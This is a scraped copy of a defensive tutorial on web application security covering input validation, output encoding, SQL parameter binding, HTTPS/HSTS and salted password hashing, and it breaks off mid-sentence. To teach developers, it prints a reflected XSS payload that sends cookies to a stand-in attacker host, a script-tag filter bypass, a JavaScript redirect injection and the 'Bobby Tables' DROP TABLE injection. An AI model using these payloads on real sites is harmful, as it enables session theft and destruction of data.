The Basics of Web Application Security

Originalartikel

Backup

<html> Modern web development has many challenges, and of those security is both very important and often under-emphasized. While such techniques as threat analysis are increasingly recognized as essential to any serious development, there are also some basic practices which every developer can and should be doing as a matter of course. The modern software developer has to be something of a swiss army knife. Of course, you need to write code that fulfills customer functional requirements. It needs to be fast. Further you are expected to write this code to be comprehensible and extensible: sufficiently flexible to allow for the evolutionary nature of IT demands, but stable and reliable. You need to be able to lay out a useable interface, optimize a database, and often set up and maintain a delivery pipeline. You need to be able to get these things done by yesterday. Somewhere, way down at the bottom of the list of requirements, behind, fast, cheap, and flexible is “secure”. That is, until something goes wrong, until the system you build is compromised, then suddenly security is, and always was, the most important thing. Security is a cross-functional concern a bit like Performance. And a bit unlike Performance. Like Performance, our business owners often know they need Security, but aren’t always sure how to quantify it. Unlike Performance, they often don’t know “secure enough” when they see it. So how can a developer work in a world of vague security requirements and unknown threats? Advocating for defining those requirements and identifying those threats is a worthy exercise, but one that takes time and therefore money. Much of the time developers will operate in absence of specific security requirements and while their organization grapples with finding ways to introduce security concerns into the requirements intake processes, they will still build systems and write code. In this Evolving Publication, we will: point out common areas in a web application that developers need to be particularly conscious of security risks provide guidance for how to address each risk on common web stacks highlight common mistakes developers make, and how to avoid them Security is a massive topic, even if we reduce the scope to only browser-based web applications. These articles will be closer to a “best-of” than a comprehensive catalog of everything you need to know, but we hope it will provide a directed first step for developers who are trying to ramp up fast. <hr class=„topSection“/><h2>Trust</h2> Before jumping into the nuts and bolts of input and output, it's worth mentioning one of the most crucial underlying principles of security: trust. We have to ask ourselves: do we trust the integrity of request coming in from the user’s browser? (hint: we don’t). Do we trust that upstream services have done the work to make our data clean and safe? (hint: nope). Do we trust the connection between the user’s browser and our application cannot be tampered? (hint: not completely…). Do we trust that the services and data stores we depend on? (hint: we might…) Of course, like security, trust is not binary, and we need to assess our risk tolerance, the criticality of our data, and how much we need to invest to feel comfortable with how we have managed our risk. In order to do that in a disciplined way, we probably need to go through threat and risk modeling processes, but that’s a complicated topic to be addressed in another article. For now, suffice it to say that we will identify a series of risks to our system, and now that they are identified, we will have to address the threats that arise.   <hr class=„topSection“/><h2>Reject Unexpected Form Input</h2> HTML forms can create the illusion of controlling input. The form

markup author might believe that because they are restricting the types of values that a user can enter in the form the data will conform to those restrictions. But rest assured, it is no more than an illusion. Even client-side JavaScript form validation provides absolutely no value from a security perspective. <h3>Untrusted Input</h3> On our scale of trust, data coming from the user's browser, whether we are providing the form or not, and regardless of whether the connection is HTTPS-protected, is effectively zero. The user could very easily modify the markup before sending it, or use a command line application like curl to submit unexpected data. Or a perfectly innocent user could be unwittingly submitting a modified version of a form from a hostile website. Same Origin Policy doesn't prevent a hostile site from submitting to your form handling endpoint. In order to ensure the integrity of incoming data, validation needs to be handled on the server. But why is malformed data a security concern? Depending on your application logic and use of output encoding, you are inviting the possibility of unexpected behavior, leaking data, and even providing an attacker with a way of breaking the boundaries of input data into executable code. For example, imagine that we have a form with a radio button that allows the user to select a communication preference. Our form handling code has application logic with different behavior depending on those values. <pre>final String communicationType = req.getParameter(„communicationType“); if („email“.equals(communicationType)) {

```
  sendByEmail();
```

} else if („text“.equals(communicationType)) {

```
  sendByText();
```

} else {

```
  sendError(resp, format("Can't send by type %s", communicationType));
```

} </pre> This code may or may not be dangerous, depending on how the

```
sendError
```

method is implemented. We are trusting that downstream logic processes untrusted content correctly. It might. But it might not. We're much better off if we can eliminate the possibility of unanticipated control flow entirely. So what can a developer do to minimize the danger that untrusted input will have undesirable effects in application code? Enter input validation.   <h3>Input Validation</h3> Input validation is the process of ensuring input data is consistent with application expectations. Data that falls outside of an expected set of values can cause our application to yield unexpected results, for example violating business logic, triggering faults, and even allowing an attacker to take control of resources or the application itself. Input that is evaluated on the server as executable code, such as a database query, or executed on the client as HTML JavaScript is particularly dangerous. Validating input is an important first line of defense to protect against this risk. Developers often build applications with at least some basic input validation, for example to ensure a value is non-null or an integer is positive. Thinking about how to further limit input to only logically acceptable values is the next step toward reducing risk of attack. Input validation is more effective for inputs that can be restricted to a small set. Numeric types can typically be restricted to values within a specific range. For example, it

doesn’t make sense for a user to request to transfer a negative amount of money or to add several thousand items to their shopping cart. This strategy of limiting input to known acceptable types is known as positive validation or whitelisting. A whitelist could restrict to a string of a specific form such as a URL or a date of the form “yyyy/mm/dd”. It could limit input length, a single acceptable character encoding, or, for the example above, only values that are available in your form. Another way of thinking of input validation is that it is enforcement of the contract your form handling code has with its consumer. Anything violating that contract is invalid and therefore rejected. The more restrictive your contract, the more aggressively it is enforced, the less likely your application is to fall prey to security vulnerabilities that arise from unanticipated conditions. You are going to have to make a choice about exactly what to do when input fails validation. The most restrictive and, arguably most desirable is to reject it entirely, without feedback, and make sure the incident is noted through logging or monitoring. But why without feedback? Should we provide our user with information about why the data is invalid? It depends a bit on your contract. In form example above, if you receive any value other than „email“ or „text“, something funny is going on: you either have a bug or you are being attacked. Further, the feedback mechanism might provide the point of attack. Imagine the sendError method writes the text back to the screen as an error message like „We're unable to respond with

```
communicationType
```

“. That's all fine if the communicationType is „carrier pigeon“ but what happens if it looks like this? <pre><script>new Image().src = ‘http://evil.martinfowler.com/steal?' + document.cookie</script> </pre> You've now faced with the possibility of a reflective XSS attack that steals session cookies. If you must provide user feedback, you are best served with a canned response that doesn't echo back untrusted user data, for example „You must choose email or text“. If you really can't avoid rendering the user's input back at them, make absolutely sure it's properly encoded (see below for details on output encoding).   <h3>In Practice</h3> It might be tempting to try filtering the

```
&lt;script&gt;
```

tag to thwart this attack. Rejecting input that contains known dangerous values is a strategy referred to as negative validation or blacklisting. The trouble with this approach is that the number of possible bad inputs is extremely large. Maintaining a complete list of potentially dangerous input would be a costly and time consuming endeavor. It would also need to be continually maintained. But sometimes it's your only option, for example in cases of free-form input. If you must blacklist, be very careful to cover all your cases, write good tests, be as restrictive as you can, and reference OWASP’s XSS Filter Evasion Cheat Sheet to learn common methods attackers will use to circumvent your protections. Resist the temptation to filter out invalid input. This is a practice commonly called „sanitization“. It is essentially a blacklist that removes undesirable input rather than rejecting it. Like other blacklists, it is hard to get right and provides the attacker with more opportunities to evade it. For example, imagine, in the case above, you choose to filter out

```
&lt;script&gt;
```

tags. An attacker could bypass it with something as simple as: <pre><scr<script>ipt> </pre> Even though your blacklist caught the attack, by fixing it, you just reintroduced the vulnerability. Input validation functionality is built in to most modern frameworks and, when

absent, can also be found in external libraries that enable the developer to put multiple constraints to be applied as rules on a per field basis. Built-in validation of common patterns like email addresses and credit card numbers is a helpful bonus. Using your web framework's validation provides the additional advantage of pushing the validation logic to the very edge of the web tier, causing invalid data to be rejected before it ever reaches complex application code where critical mistakes are easier to make. <table class=„input-validation-approaches“><thead><tr><th>Framework</th> <th>Approaches</th> </tr></thead><tbody readability=„3“><tr class=„even first“ readability=„1“><td rowspan=„2“>Java</td> <td>Hibernate (Bean Validation)</td> </tr><tr class=„even“><td>ESAPI</td> </tr><tr class=„odd first“ readability=„1“><td rowspan=„2“>Spring</td> <td>Built-in type safe params in Controller</td> </tr><tr class=„odd“ readability=„1“><td>Built-in Validator interface (Bean Validation)</td> </tr><tr class=„even first“ readability=„1“><td rowspan=„1“>Ruby on Rails</td> <td>Built-in Active Record Validators</td> </tr><tr class=„odd first“ readability=„1“><td rowspan=„1“>ASP.NET</td> <td>Built-in Validation (see BaseValidator)</td> </tr><tr class=„even first“><td rowspan=„1“>Play</td> <td>Built-in Validator</td> </tr><tr class=„odd first“><td rowspan=„1“>Generic JavaScript</td> <td>xss-filters</td> </tr><tr class=„even first“><td rowspan=„1“>NodeJS</td> <td>validator-js</td> </tr><tr class=„odd first“ readability=„1“><td rowspan=„1“>General</td> <td>Regex-based validation on application inputs</td> </tr></tbody></table> <h3>In Summary</h3> White list when you can Black list when you can't whitelist Keep your contract as restrictive as possible Make sure you alert about the possible attack Avoid reflecting input back to a user Reject the web content before it gets deeper into application logic to minimize ways to mishandle untrusted data or, even better, use your web framework to whitelist input Although this section focused on using input validation as a mechanism for protecting your form handling code, any code that handles input from an untrusted source can be validated in much the same way, whether the message is JSON, XML, or any other format, and regardless of whether it's a cookie, a header, or URL parameter string. Remember: if you don't control it, you can't trust it. If it violates the contract, reject it!   <hr class=„topSection“/><h2>Encode HTML Output</h2> In addition to limiting data coming into an application, web application developers need to pay close attention to the data as it comes out. A modern web application usually has basic HTML markup for document structure, CSS for document style, JavaScript for application logic, and user-generated content which can be any of these things. It's all text. And it's often all rendered to the same document. An HTML document is really a collection of nested execution contexts separated by tags, like

```
&lt;script&gt;
```

or

```
&lt;style&gt;
```

. The developer is always one errant angle bracket away from running in a very different execution context than they intend. This is further complicated when you have additional context-specific content embedded within an execution context. For example, both HTML and JavaScript can contain a URL, each with rules all their own. <h3>Output Encoding</h3> Output encoding is converting outgoing data to a final output format. The complication with output encoding is that you need a different codec depending on how the outgoing data is going to be consumed. Without appropriate output encoding, an application could provide its client with misformatted data making it unusable, or even worse, dangerous. An attacker who

stumbles across insufficient or inappropriate encoding knows that they have a potential vulnerability that might allow them to fundamentally alter the structure of the output from the intent of the developer. For example, imagine that one of the first customers of a system is the former supreme court judge Sandra Day O'Connor. What happens if her name is rendered into HTML? <pre><p>The Honorable Justice Sandra Day O'Connor</p> </pre> renders as: <pre>The Honorable Justice Sandra Day O'Connor </pre> All is right with the world. The page is generated as we would expect. But this could be a fancy dynamic UI with a model/view/controller architecture. These strings are going to show up in JavaScript, too. What happens when the page outputs this to the browser? <pre>document.getElementById('name').innerText = 'Sandra Day O'Connor' <–unescaped string </pre> The result is malformed JavaScript. This is what hackers look for to break through execution context and turn innocent data into dangerous executable code. If the Chief Justice enters her name as <pre>Sandra Day O';window.location='http://evil.martinfowler.com/'; </pre> suddenly our user has been pushed to a hostile site. If, however, we correctly encode the output for a JavaScript context, the text will look like this: <pre>'Sandra Day O\';window.location=\'http://evil.martinfowler.com/\';' </pre> A bit confusing, perhaps, but a perfectly harmless, non-executable string. Note There are a couple strategies for encoding JavaScript. This particular encoding uses escape sequences to represent the apostrophe („<code>\'</code>“), but it could also be represented safely with the Unicode escape seqeence („<code>'</code>“). The good news is that most modern web frameworks have mechanisms for rendering content safely and escaping reserved characters. The bad news is that most of these frameworks include a mechanism for circumventing this protection and developers often use them either due to ignorance or because they are relying on them to render executable code that they believe to be safe.   <h3>Cautions and Caveats</h3> There are so many tools and frameworks these days, and so many encoding contexts (e.g. HTML, XML, JavaScript, PDF, CSS, SQL, etc.), that creating a comprehensive list is infeasible, however, below is a starter for what to use and avoid for encoding HTML in some common frameworks. If you are using another framework, check the documentation for safe output encoding functions. If the framework doesn’t have them, consider changing frameworks to something that does, or you’ll have the unenviable task of creating output encoding code on your own. Also note, that just because a framework renders HTML safely, doesn’t mean it’s going to render JavaScript or PDFs safely. You need to be aware of the encoding a particular context the encoding tool is written for. Be warned: you might be tempted to take the raw user input, and do the encoding before storing it. This pattern will generally bite you later on. If you were to encode the text as HTML prior to storage, you can run into problems if you need to render the data in another format: it can force you to unencode the HTML, and re-encode into the new output format. This adds a great deal of complexity and encourages developers to write code in their application code to unescape the content, making all the tricky upstream output encoding effectively useless. You are much better off storing the data in its most raw form, then handling encoding at rendering time. Finally, it's worth noting that nested rendering contexts add an enormous amount of complexity and should be avoided whenever possible. It's hard enough to get a single output string right, but when you are rendering a URL, in HTML within JavaScript, you have three contexts to worry about for a single string. If you absolutely cannot avoid nested contexts, make sure to de-compose the problem into separate stages, thoroughly test each one, paying special attention to order of rendering. OWASP provides some guidance for this situation in the DOM based XSS Prevention Cheat Sheet   <h3>In Summary</h3> Output encode all application data on output with an appropriate codec Use your framework's output encoding capability, if available Avoid nested rendering contexts as much as possible Store your data in raw form and encode at rendering time Avoid unsafe framework and JavaScript calls that avoid encoding   <hr

class=„topSection“/><h2>Bind Parameters for Database Queries</h2> Whether you are writing SQL against a relational database, using an object-relational mapping framework, or querying a NoSQL database, you probably need to worry about how input data is used within your queries. The database is often the most crucial part of any web application since it contains state that can't be easily restored. It can contain crucial and sensitive customer information that must be protected. It is the data that drives the application and runs the business. So you would expect developers to take the most care when interacting with their database, and yet injection into the database tier continues to plague the modern web application even though it's relatively easy to prevent! <h3>Little Bobby Tables</h3> No discussion of parameter binding would be complete without including the famous 2007 „Little Bobby Tables“ issue of xkcd: To decompose this comic, imagine the system responsible for keeping track of grades has a function for adding new students: <pre>void addStudent(String lastName, String firstName) { String query = „INSERT INTO students (last_name, first_name) VALUES ('“ + lastName + „', '“ + firstName + „')“; getConnection().createStatement().execute(query); }</pre> If addStudent is called with parameters „Fowler“, „Martin“, the resulting SQL is: <pre>INSERT INTO students (last_name, first_name) VALUES ('Fowler', 'Martin')</pre> But with Little Bobby's name the following SQL is executed: <pre>INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert’); DROP TABLE Students;– ')</pre> In fact, two commands are executed: <pre>INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert') DROP TABLE Students</pre> The final „–“ comments out the remainder of the original query, ensuring the SQL syntax is valid. Et voila, the DROP is executed. This attack vector allows the user to execute arbitrary SQL within the context of the application's database user. In other words, the attacker can do anything the application can do and more, which could result in attacks that cause greater harm than a DROP, including violating data integrity, exposing sensitive information or inserting executable code. Later we will talk about defining different users as a secondary defense against this kind of mistake, but for now, suffice to say that there is a very simple application-level strategy for minimizing injection risk.   <h3>Parameter Binding to the Rescue</h3> To quibble with Hacker Mom's solution, sanitizing is very difficult to get right, creates new potential attack vectors and is certainly not the right approach. Your best, and arguably only decent option is parameter binding. JDBC, for example, provides the <code>PreparedStatement.setXXX()</code> methods for this very purpose. Parameter binding provides a means of separating executable code, such as SQL, from content, transparently handling content encoding and escaping. <pre>void addStudent(String lastName, String firstName) { PreparedStatement stmt = getConnection().prepareStatement(„INSERT INTO students (last_name, first_name) VALUES (?, ?)“); stmt.setString(1, lastName); stmt.setString(2, firstName); stmt.execute(); }</pre> Any full-featured data access layer will have the ability to bind variables and defer implementation to the underlying protocol. This way, the developer doesn't need to understand the complexities that arise from mixing user input with executable code. For this to be effective all untrusted inputs need to be bound. If SQL is built through concatenation, interpolation, or formatting methods, none of the resulting string should be created from user input.   <h3>Clean and Safe Code</h3> Sometimes we encounter situations where there is tension between good security and clean code. Security sometimes requires the programmer to add some complexity in order to protect the application. In this case however, we have one of those fortuitous situations where good security and good design are aligned. In addition to protecting the application from injection, introducing bound parameters improves comprehensibility by providing clear boundaries between code and content, and

simplifies creating valid SQL by eliminating the need to manage the quotes by hand. As you introduce parameter binding to replace your string formatting or concatenation, you may also find opportunities to introduce generalized binding functions to the code, further enhancing code cleanliness and security. This highlights another place where good design and good security overlap: de-duplication leads to additional testability, and reduction of complexity.   <h3>Common Misconceptions</h3> There is a misconception that stored procedures prevent SQL injection, but that is only true insofar as parameters are bound inside the stored procedure. If the stored procedure itself does string concatenation it can be injectable as well, and binding the variable from the client won't save you. Similarly, object-relational mapping frameworks like ActiveRecord, Hibernate, or .NET Entity Framework, won't protect you unless you are using binding functions. If you are building your queries using untrusted input without binding, the app still could be vulnerable to an injection attack. For more detail on the injection risks of stored procedures and ORMs, see security analyst Troy Hunt's article Stored procedures and ORMs won’t save you from SQL injection„. Finally, there is a misconception that NoSQL databases are not susceptible to injection attack and that is not true. All query languages, SQL or otherwise, require a clear separation between executable code and content so the execution doesn't confuse the command from the parameter. Attackers look for points in the runtime where they can break through those boundaries and use input data to change the intended execution path. Even Mongo DB, which uses a binary wire protocol and language-specific API, reducing opportunities for text-based injection attacks, exposes the „$where“ operator which is vulnerable to injection, as is demonstrated in this article from the OWASP Testing Guide. The bottom line is that you need to check the data store and driver documentation for safe ways to handle input data.   <h3>In Summary</h3> Avoid building SQL (or NoSQL equivalent) from user input Bind all parameterized data, both queries and stored procedures Use the native driver binding function rather than trying to handle the encoding yourself Don't think stored procedures or ORM tools will save you. You need to use binding functions for those, too NoSQL doesn't make you injection-proof   <hr class=„topSection“/><h2>Protect Data in Transit</h2> While we're on the subject of input and output, there's another important consideration: the privacy and integrity of data in transit. When using an ordinary HTTP connection, users are exposed to many risks arising from the fact data is transmitted in plaintext. An attacker capable of intercepting network traffic anywhere between a user's browser and a server can eavesdrop or even tamper with the data completely undetected in a man-in-the-middle attack. There is no limit to what the attacker can do, including stealing the user's session or their personal information, injecting malicious code that will be executed by the browser in the context of the website, or altering data the user is sending to the server. We can't usually control the network our users choose to use. They very well might be using a network where anyone can easily watch their traffic, such as an open wireless network in a café or on an airplane. They might have unsuspectingly connected to a hostile wireless network with a name like „Free Wi-Fi“ set up by an attacker in a public place. They might be using an internet provider that injects content such as ads into their web traffic, or they might even be in a country where the government routinely surveils its citizens. If an attacker can eavesdrop on a user or tamper with web traffic, all bets are off. The data exchanged cannot be trusted by either side. Fortunately for us, we can protect against many of these risks with HTTPS. <h3>HTTPS and Transport Layer Security</h3> HTTPS was originally used mainly to secure sensitive web traffic such as financial transactions, but it is now common to see it used by default on many sites we use in our day to day lives such as social networking and search engines. The HTTPS protocol uses the Transport Layer

Security (TLS) protocol, the successor to the Secure Sockets Layer (SSL) protocol, to secure communications. When configured and used correctly, it provides protection against eavesdropping and tampering, along with a reasonable guarantee that a website is the one we intend to be using. Or, in more technical terms, it provides confidentiality and data integrity, along with authentication of the website's identity. With the many risks we all face, it increasingly makes sense to treat all network traffic as sensitive and encrypt it. When dealing with web traffic, this is done using HTTPS. Several browser makers have announced their intent to deprecate non-secure HTTP and even display visual indications to users to warn them when a site is not using HTTPS. Most HTTP/2 implementations in browsers will only support communicating over TLS. So why aren't we using it for everything now? There have been some hurdles that impeded adoption of HTTPS. For a long time, it was perceived as being too computationally expensive to use for all traffic, but with modern hardware that has not been the case for some time. The SSL protocol and early versions of the TLS protocol only support the use of one web site certificate per IP address, but that restriction was lifted in TLS with the introduction of a protocol extension called SNI (Server Name Indication), which is now supported in most browsers. The cost of obtaining a certificate from a certificate authority also deterred adoption, but the introduction of free services like Let's Encrypt has eliminated that barrier. Today there are fewer hurdles than ever before.   <h3>Get a Server Certificate</h3> The ability to authenticate the identity of a website underpins the security of TLS. In the absence of the ability to verify that a site is who it says it is, an attacker capable of doing a man-in-the-middle attack could impersonate the site and undermine any other protection the protocol provides. When using TLS, a site proves its identity using a public key certificate. This certificate contains information about the site along with a public key that is used to prove that the site is the owner of the certificate, which it does using a corresponding private key that only it knows. In some systems a client may also be required to use a certificate to prove its identity, although this is relatively rare in practice today due to complexities in managing certificates for clients. Unless the certificate for a site is known in advance, a client needs some way to verify that the certificate can be trusted. This is done based on a model of trust. In web browsers and many other applications, a trusted third party called a Certificate Authority (CA) is relied upon to verify the identity of a site and sometimes of the organization that owns it, then grant a signed certificate to the site to certify it has been verified. It isn't always necessary to involve a trusted third party if the certificate is known in advance by sharing it through some other channel. For example, a mobile app or other application might be distributed with a certificate or information about a custom CA that will be used to verify the identity of the site. This practice is referred to as certificate or public key pinning and is outside the scope of this article. The most visible indicator of security that many web browsers display is when communications with a site are secured using HTTPS and the certificate is trusted. Without it, a browser will display a warning about the certificate and prevent a user from viewing your site, so it is important to get a certificate from a trusted CA. It is possible to generate your own certificate to test a HTTPS configuration out, but you will need a certificate signed by a trusted CA before exposing the service to users. For many uses, a free CA is a good starting point. When searching for a CA, you will encounter different levels of certification offered. The most basic, Domain Validation (DV), certifies the owner of the certificate controls a domain. More costly options are Organization Validation (OV) and Extended Validation (EV), which involve the CA doing additional checks to verify the organization requesting the certificate. Although the more advanced options result in a more positive visual indicator of security in the browser, it may not be worth the extra cost for many.   <h3>Configure Your Server</h3> With a certificate in hand, you can begin to configure your server to support HTTPS. At first glance, this may seem like a task worthy of someone who holds a PhD in cryptography. You may want to choose a configuration that supports a wide range of browser versions, but you need to balance that with

providing a high level of security and maintaining some level of performance. The cryptographic algorithms and protocol versions supported by a site have a strong impact on the level of communications security it provides. Attacks with impressive sounding names like FREAK and DROWN and POODLE (admittedly, the last one doesn't sound all that formidable) have shown us that supporting dated protocol versions and algorithms presents a risk of browsers being tricked into using the weakest option supported by a server, making attack much easier. Advancements in computing power and our understanding of the mathematics underlying algorithms also renders them less safe over time. How can we balance staying up to date with making sure our website remains compatible for a broad assortment of users who might be using dated browsers that only support older protocol versions and algorithms? Fortunately, there are tools that help make the job of selection a lot easier. Mozilla has a helpful SSL Configuration Generator to generate recommended configurations for various web servers, along with a complementary Server Side TLS Guide with more in-depth details. Note that the configuration generator mentioned above enables a browser security feature called HSTS by default, which might cause problems until you're ready to commit to using HTTPS for all communications long term. We'll discuss HSTS a little later in this article.   <h3>Use HTTPS for Everything</h3> It is not uncommon to encounter a website where HTTPS is used to protect only some of the resources it serves. In some cases the protection might only be extended to handling form submissions that are considered sensitive. Other times, it might only be used for resources that are considered sensitive, for example what a user might access after logging into the site. The trouble with this inconsistent approach is that anything that isn't served over HTTPS remains susceptible to the kinds of risks that were outlined earlier. For example, an attacker doing a man-in-the-middle attack could simply alter the form mentioned above to submit sensitive data over plaintext HTTP instead. If the attacker injects executable code that will be executed in the context of our site, it isn't going to matter much that part of it is protected with HTTPS. The only way to prevent those risks is to use HTTPS for everything. The solution isn't quite as clean cut as flipping a switch and serving all resources over HTTPS. Web browsers default to using HTTP when a user enters an address into their address bar without typing „https:“ explicitly. As a result, simply shutting down the HTTP network port is rarely an option. Websites instead conventionally redirect requests received over HTTP to use HTTPS, which is perhaps not an ideal solution, but often the best one available. For resources that will be accessed by web browsers, adopting a policy of redirecting all HTTP requests to those resources is the first step towards using HTTPS consistently. For example, in Apache redirecting all requests to a path (in the example, /content and anything beneath it) can be enabled with a few simple lines: <pre># Redirect requests to /content to use HTTPS (mod_rewrite is required) RewriteEngine On RewriteCond %{HTTPS} != on [NC] RewriteCond %{REQUEST_URI} ^/content(/.*)? RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L] </pre> If your site also serves APIs over HTTP, moving to using HTTPS can require a more measured approach. Not all API clients are able to handle redirects. In this situation it is advisable to work with consumers of the API to switch to using HTTPS and to plan a cutoff date, then begin responding to HTTP requests with an error after the date is reached.   <h3>Use HSTS</h3> Redirecting users from HTTP to HTTPS presents the same risks as any other request sent over ordinary HTTP. To help address this challenge, modern browsers support a powerful security feature called HSTS (HTTP Strict Transport Security), which allows a website to request that a browser only interact with it over HTTPS. It was first proposed in 2009 in response to Moxie Marlinspike's famous SSL stripping attacks, which demonstrated the dangers of serving content over HTTP. Enabling it is as simple as sending a header in a response: <pre>Strict-Transport-Security: max-age=15768000 </pre> The above header instructs the browser to only interact with the site using HTTPS for a period of six months (specified in seconds). HSTS is an important feature to enable due to the strict policy it enforces. Once enabled, the browser will automatically convert any insecure

HTTP requests to use HTTPS instead, even if a mistake is made or the user explicitly types „http:“ *into their address bar. It also instructs the browser to disallow the user from bypassing the warning it displays if an invalid certificate is encountered when loading the site. In addition to requiring little effort to enable in the browser, enabling HSTS on the server side can require as little as a single line of configuration. For example, in Apache it is enabled by adding a <code>Header</code> directive within the <code>VirtualHost</code> configuration for port 443: <pre><VirtualHost *:443> ... # HSTS (mod_headers is required) (15768000 seconds = 6 months) Header always set Strict-Transport-Security „max-age=15768000“ </VirtualHost> </pre> Now that you have an understanding of some of the risks inherent to ordinary HTTP, you might be scratching your head wondering what happens when the first request to a website is made over HTTP before HSTS can be enabled. To address this risk some browsers allow websites to be added to a „HSTS Preload List“ that is included with the browsers. Once included in this list it will no longer be possible for the website to be accessed using HTTP, even on the first time a browser is interacting with the site. Before deciding to enable HSTS, some potential challenges must first be considered. Most browsers will refuse to load HTTP content referenced from a HTTPS resource, so it is important to update existing resources and verify all resources can be accessed using HTTPS. We don't always have control over how content can be loaded from external systems, for example from an ad network. This might require us to work with the owner of the external system to adopt HTTPS, or it might even involve temporarily setting up a proxy to serve the external content to our users over HTTPS until the external systems are updated. Once HSTS is enabled, it cannot be disabled until the period specified in the header elapses. It is advisable to make sure HTTPS is working for all content before enabling it for your site. Removing a domain from the HSTS Preload List will take even longer. The decision to add your website to the Preload List is not one that should be taken lightly. Unfortunately, not all browsers in use today support HSTS. It can not yet be counted on as a guaranteed way to enforce a strict policy for all users, so it is important to continue to redirect users from HTTP to HTTPS and employ the other protections mentioned in this article. For details on browser support for HSTS, you can visit Can I use.   <h3>Protect Cookies</h3> Browsers have a built-in security feature to help avoid disclosure of a cookie containing sensitive information. Setting the „secure“ flag in a cookie will instruct a browser to only send a cookie when using HTTPS. This is an important safeguard to make use of even when HSTS is enabled.   <h3>Other Risks</h3> There are some other risks to be mindful of that can result in accidental disclosure of sensitive information despite using HTTPS. It is dangerous to put sensitive data inside of a URL. Doing so presents a risk if the URL is cached in browser history, not to mention if it is recorded in logs on the server side. In addition, if the resource at the URL contains a link to an external site and the user clicks through, the sensitive data will be disclosed in the Referer header. In addition, sensitive data might still be cached in the client, or by intermediate proxies if the client's browser is configured to use them and allow them to inspect HTTPS traffic. For ordinary users the contents of traffic will not be visible to a proxy, but a practice we've seen often for enterprises is to install a custom CA on their employees' systems so their threat mitigation and compliance systems can monitor traffic. Consider using headers to disable caching to reduce the risk of leaking data due to caching. For a general list of best practices, the OWASP Transport Protection Layer Cheat Sheet contains some valuable tips.   <h3>Verify Your Configuration</h3> As a last step, you should verify your configuration. There is a helpful online tool for that, too. You can visit SSL Labs' SSL Server Test to perform a deep analysis of your configuration and verify that nothing is misconfigured. Since the tool is updated as new attacks*

*are discovered and protocol updates are made, it is a good idea to run this every few months.   <h3>In Summary</h3> Use HTTPS for everything! Use HSTS to enforce it You will need a certificate from a trusted certificate authority if you plan to trust normal web browsers Protect your private key Use a configuration tool to help adopt a secure HTTPS configuration Set the „secure“ flag in cookies Be mindful not to leak sensitive data in URLs Verify your server configuration after enabling HTTPS and every few months thereafter   <hr class=„topSection“/><h2>Hash and Salt Your Users' Passwords</h2> When developing applications, you need to do more than protect your assets from attackers. You often need to protect your users from attackers, and even from themselves. <h3>Living Dangerously</h3> The most obvious way to write password-authentication is to store username and password in table and do look ups against it. Don't ever do this: <pre>– SQL CREATE TABLE application_user (email_address VARCHAR(100) NOT NULL PRIMARY KEY, password VARCHAR(100) NOT NULL) # python def login(conn, email, password): result = conn.cursor().execute(„SELECT * FROM application_user WHERE email_address = ? AND password = ?“, [email, password]) return result.fetchone() is not None</pre> Does this work? Will it allow valid users in and keep unregistered users out? Yes. But here's why it's a very, very bad idea: <h4>The Risks</h4> Insecure password storage creates risks from both insiders and outsiders. In the former case, an insider such as an application developer or DBA who can read the above application_user table now has access to the credentials of your entire user base. One often overlooked risk is that your insiders can now impersonate your users within your application. Even if that particular scenario isn't of great concern, storing your users’ credentials without appropriate cryptographic protection introduces an entirely new class of attack vectors for your user, completely unrelated to your application. We might hope it's otherwise, but the fact is that users reuse credentials. The first time someone signs up for your site of captioned cat pictures using the same email address and password that they use for their bank login, your seemingly low-risk credentials database has become a vehicle for storing financial credentials. If a rogue employee or an external hacker steals your credentials data, they can use them for attempted logins to major bank sites until they find the one person who made the mistake of using their credentials with wackycatcaptions.org, and one of your user's accounts is drained of funds and you are, at least in part, responsible. That leaves two choices: either store credentials safely or don't store them at all.   <h3>I Can Hash Passwordz</h3> If you went down the path of creating logins for your site, option two is probably not available to you, so you are probably stuck with option one. So what is involved in safely storing credentials? Firstly, you never want to store the password itself, but rather store a hash of the password. A cryptographic hashing algorithm is a one-way transformation from an input to an output from which the original input is, for all practical purposes, impossible to recover. More on that „practical purposes“ phrase shortly. For example, your password might be „littlegreenjedi“. Applying Argon2 with the salt „12345678“ (more on salts later) and default command-line options, gives you the the hex result <code>9b83665561e7ddf91b7fd0d4873894bbd5afd4ac58ca397826e11d5fb02082a1</code>. Now you aren't storing the password at all, but rather this hash. In order to validate a user's password, you just apply the same hash algorithm to the password text they send, and, if they match, you know the password is valid. So we're done, right? Well, not exactly. The problem now is that, assuming we don't vary the salt, every user with the password „littlegreenjedi“ will have the same hash in our database. Many people just re-use their same old password. Lookup tables generated using the most commonly occurring passwords and their variations can be used to efficiently reverse engineer hashed passwords. If an attacker gets hold of your password store, they can simply cross-reference a lookup table with your password hashes and are statistically likely to extract a lot of credentials in a pretty short period of time. The trick is to add a bit of unpredictability into*

the password hashes so they cannot be easily reverse engineered. A salt, when properly generated, can provide just that.   <h3>A Dash of Salt</h3> A salt is some extra data that is added to the password before it is hashed so that two instances of a given password do not have the same hash value. The real benefit here is that it increases the range of possible hashes of a given password beyond the point where it is practical to pre-compute them. Suddenly the hash of „littlegreenjedi“ can't be predicted anymore. If we use the salt the string „BNY0LGUZWWIZ3BVP“ and then hash with Argon2 again, we get <code>67ddb83d85dc6f91b2e70878f333528d86674ecba1ae1c7aa5a94c7b4c6b2c52</code>. On the other hand, if we use „M3WIBNKBYVSJW4ZJ“, we get <code>64e7d42fb1a19bcf0dc8a3533dd3766ba2d87fd7ab75eb7acb6c737593cef14e</code>. Now, if an attacker gets their hands on the password hash store, it is much more expensive to brute force the passwords. The salt doesn't require any special protection like encryption or obfuscation. It can live alongside the hash, or even encoded with it, as is the case with bcrypt. If your password table or file falls into attacker hands access to the salt won't help them use a lookup table to mount an attack on the collection of hashes. A salt should be globally unique per user. OWASP recommends 32 or 64-bit salt if you can manage it, and NIST requires 128-bit at a minimum. A UUID will certainly work and although probably overkill, it's generally easy to generate, if costly to store. Hashing and salting is a good start, but as we will see below, even this might not be enough.   <h3>Use A Hash That's Worth Its Salt</h3> Sadly, all hashing algorithms are not created equal. SHA-1 and MD5 had been common standards for a long time until the discovery of a low cost collision attack. Luckily there are plenty of alternatives that are low-collision, and slow. Yes, slow. A slower algorithm means that a brute force attack is more time consuming and therefore costlier to run. The best widely-available algorithms are now considered to be scrypt and bcrypt. Because contemporary SHA algorithms and PBKDF2 are less resistant to attacks where GPUs are used, they are probably not great long-term strategies. A side note: 